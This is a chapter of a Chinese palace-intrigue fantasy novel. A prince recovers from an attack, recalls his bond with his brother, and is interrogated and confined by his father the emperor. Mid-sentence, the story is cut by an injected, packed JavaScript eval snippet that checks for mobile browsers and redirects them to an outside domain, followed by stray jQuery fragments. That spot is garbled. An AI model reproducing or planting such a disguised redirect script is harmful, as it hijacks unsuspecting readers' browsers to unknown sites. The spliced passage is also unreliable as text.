翌日，晨熹东照。


    艳阳从薄云缝隙斜落入室，透过层层人墙，斑斑铺入寝榻。前尘刻骨，秦显初醒时尚觉恍惚，他盯着塌顶一点金光发呆，没能即刻回应傅淳的唤声。


    昨夜惊险，众卫风声鹤唳，见此情景纷纷出手。秦显翻身制住数人，方自证清醒。


    乌龙闹过，秦显洗漱餐毕，便扶拐去了连苍居处。


    东苑毗邻寝殿，庭院素雅宜净，多植紫竹。秦显在游廊里漫行，很快在檐角间捉到一只鳍。


    北海有异鸟谓之鳍，背生三翅，鸣声嘲哳，好以人为食；面颊又生两腮，可俯潜入海，抓猎巨鱼；若乘风而游，一昼则行万里。


    连苍在苑内豢养了数只幼鳍，正适现下急讯。


    北海深处有雾障，船人皆不得入。然建章初年，却有一西狩国人自言已穿过雾障，出海寻到仙山数座。消息一出，闻者皆惊。从此，求仙者络绎。


    寻求仙山无可厚非，然当年秦遭祸乱时，连苍竟召令诸宗驶船出海，以致秦军无武修坐镇，溃如决河。


    秦显怨连苍漠视自己身陷囹圄，更愤对方背离苍生，然而深恩难抵，他终究无法恶弃对方。


    秦显拎鳍迈入书室，借笔手书。


    连苍令他切记之语必然非同小可，未免讯息走漏，秦显在信中并未细言，只请舅舅速速回都。


    幼鳍被宫内女官娇养，懒惰非常，在秦显臂上留连不肯去，直被催促着拍了尾巴才振翅飞起。


    秦显凭栏目送，然高亭大榭遮蔽视野，鳍鸟顷刻便翱翔无踪，他的视线则被阻于四方檐内，被迫落回庭苑。


    秦显看着苑内修篁葱郁，忽而想起澹关。


    边地苍茫无垠，鸿雁翱飞碧空，纵肆无拘。偷溜事发后，秦显不敢再擅出营关，闲夜便常去城头望远。


    秦淇窥出幼弟心思，为哄人高兴，于是频繁带秦显去关外跑马。


    秦淇骑射俱佳，纵跨于奔马，亦箭无虚发。秦显擅剑却疏于射艺，秦淇有心传授，看出秦显似喜辣食，便以风靡边地的茴香楼作赏，以督促幼弟勤学勉练。


    秦显天资不俗，兼有秦淇手传身授，很快习至精通。


    某日，二人同坐茴香楼。宫中膳食清汤寡味，秦显难得一饱口福，秦淇却吃得喉胃喷火，以致屁股遭痛数日。


    秦显幼年丧母，父亲疏冷，舅舅只知规训，唯秦淇曾予些许疼爱，难免沦陷。而秦淇虽双亲相合，手足却嫉他获帝心偏爱，外人亦畏他势强性狠，仅秦显与他挚心亲近，自是爱极。


    那夜争执后，秦淇自知失言，曾竭力弥补，然终是罅隙难合。


    思绪回笼，秦显呼出口气。


    傅淳守在秦显身侧，见他目露忧怀，不由问道：“殿下因何叹息？”


    秦显当年因旧隙而疏离秦淇，如今心结已解，便有意修和关系，“前些日，三哥曾言要赠我白驹？”


    秦淇欲讨人欢心，常以和璧隋珠相赠，秦显却多冷言以拒，现下终见回音，傅淳自然乐见，忙为秦淇帮腔，“边地马种虽健硕聪敏，毛色却多是灰褐，臣戍守澹关多年，见过的白驹仅此一匹，必不使殿下扫兴。”


    “那便劳郎中令替我回复，待我腿伤痊愈，便去三哥府上拜领。”秦显从善如流。


    语毕，两人步回寝殿，不多时，秦淇从永巷归来。


    一夜兵荒马乱过，庭间海棠残败遍地。未放的花苞被撞落，与泥土混作成一片驳杂的灰红。秦淇徐步踩过，迈进寝殿。


    内室里，秦显正盯着掌中的汤药发呆。


    深褐的苦液闪动着周遭明媚的晨曦，亮色波澜间，青稚的面庞倒映其中。


    秦显好食甜辣，小时贪嘴，曾偷食了一碗甜羹，被连苍罚饮苦汤百碗，从此便惧苦物，甚至为躲苦偷倒过药。然自心魔始生，苦辣皆同嚼蜡。


    秦显仰颈，平静地碗内苦汤一干而尽。


    然而口中苦意尚不及品味，秦显的牙关忽被捏开，甲盖大小的硬物被塞入，馨甜继而在齿间炸开。他轻咂了下，尝到了松果香。


    秦显喉咙微紧，“这是......”


    “胜战回营，顺路讨的。”将糖喂出，指腹不免沾染糖霜，秦淇舔了下手，揶揄道，“甜吗？”


    江淮多战，募入的兵卒常有少幼者。有妇心生怜意，便采撷松果熬制成糖，待众将列队穿街时相赠。秦显每每跨马行街，总会被塞满一怀。


    宫内饮食皆有规量，不可绝食贪食，亦不准挑剔偏爱。秦淇从不规束秦显食癖，只常常用此打趣。


    青年笑容促狭，秦显赧然，口齿难得磕绊了一次，“挺、挺甜的。”


    秦淇不由低笑。


    某岁盛夏，三尺身高的秦显步经宫中一处浅湖，见枝丛掩映间，一人手执竹竿，正淌水插鱼。彼时秦淇刚刚回都，二人尚未一见，秦显看人悬铛貌秀，以为少女，慌忙告罪。


    秦淇看他可怜可爱，不禁心痒逗弄。如今时过境迁，当年的瓷娃娃已成翩然少年郎，秦淇逗趣之心却未改。


    秦显侧过视线，耳根不受控地自白转红，“......别笑了。”


    怕人真恼，秦淇忙举手投降。


    这时，殿外忽起通传声。


    通天冠高束苍丝，墨裳的纹绣在日曦下泛起金泽，秦琰健步而至，脸色沉沉。


    秦显与父亲虽共居禁宫，却常年各忙己事，并不亲密。然亲缘难解，前尘阴阳相隔，今朝阔别再逢，很难不心生感怀。


    垂眼将心绪藏入睫影，秦显让座见礼。


    秦琰幼年登位，数载早朝晏罢，未到知命之年便鬓发已斑，然他姿仪端肃，相貌龙威燕颔，纵岁老发苍，威赫仍盛。


    将殿内杂人摒退，秦琰率先发问，“永巷审得如何了？”


    “正要禀告陛下，”秦淇回道，“据那只木魅招供，它本生于淮南幽山，四年前遭千生教捕获，去岁秋时，它受上峰之命伏杀哑奴，剥下人皮顶替入宫。”


    “竟是千生教？”秦琰蹙眉，接着问，“它潜伏宫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020937|178522||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中，目的何为？”


    “记录宫中见闻。”秦淇流利应着，“每月下旬，它会趁休沐时独往暮山千灵庙，将信字压在西殿供养的长明灯下。”


    相传北海有巨妖千灵，其人面四目，双翼有尾，吞吸为风，吐息成雨，因守佑列国黎民被北帝削首。列国感念其恩，年以牲祀，并洒经文入海，烟灵节便缘由此来。


    列国各处皆有祭奉千灵之所，秦域内千灵庙不止万数，昭阳城便建有数十。西郊暮山山高百丈，攀上山腰庙宇的石路足有千阶，信众却仍日日络绎。


    秦淇已洗漱整衣，然他多夜不眠，眼下倦色难掩，强撑精神继续，“臣想，不如暂封消息，并放归宫侍，待下次休沐时，遣人易容成哑奴的模样往庙中送信，守株待兔，顺藤摸瓜。”


    “此事既牵涉妖案，一干事由，你自裁夺。”秦琰又问，“它可招供毒害之事？”


    “还没有。”秦淇如实说，“臣审过庖厨中人，皆言当日未见哑奴来取茶，但司吏在它的居处搜出了些寻常茶饼。”


    秦显所述颇多不通，秦琰并未轻信，他将目光移向少年，疑问道：“宫婢所饮多是粗茶，你自小养在深宫，侯服玉食，竟不挑剔茶饮？”


    知以秦琰城府必起疑心，秦显早备妥理由，“初从军时身无爵位，常吃粗米粗茶，得功授爵后，也常随众将士吃喝。”


    秦军以军爵分发粮饷，无爵的兵卒日难饱腹，秦显因有秦淇照顾，倒未受饿，仅是食材粗劣。


    “谋害皇子当处炮烙，如此极刑，它不敢认罪也属情理。”秦淇从旁接腔。


    秦显衣袍洁净，腿手包扎完好，面色却似被浣洗过度的白缎，连唇嘴都未生出薄色，此刻倚立光中，像只错置的瓷偶。


    秦琰审视少年半晌，没能读出端倪，只得作罢，转而问罪道：“大意饮食，自涉险境，你可知错？”


    “臣知错，请陛下降罪。”秦显屈膝跪地。


    “西郊之事乃裴衡招致，即便日后查明他并非蓄意，也难逃引诱六弟涉险之责。”秦淇自不忍弟弟遭罚，忙将祸水东引，“臣恳请陛下严惩裴衡，以儆效尤。”


    裴衡二字卒然落耳，秦显有刹那失神，害怕被察觉心事，索性双掌撑地俯跪，一边则为裴衡开脱，“西郊本多精怪，豹妖身形健硕却无甚实力，是臣误踩盗洞，才致摔伤。且臣在墓下时神志不清，幸得裴少将军相助才脱险，求陛下念在他搭救之功，饶恕其罪。”


    秦显容貌肖母，秦淇却像极其父，而秦琰遍经世事，一双狭长凤目较青年更增渊厉，他垂视着秦显压低的发顶，突然问：“昨日裴衡邀你独入僻林私语，都说了什么？”


    “臣当时头痛欲裂，记不清了。”长指在宽袖遮掩下微微攒起，秦显面上无波。


    秦琰挑挑眉，将信将疑，“记不清了？”


    “是。”秦显答不迟疑。


    秦琰撑案起身，未再质问，只发落道：“近日朝野多事，寡人无暇管教你，便罚你禁足三月，反省己过。”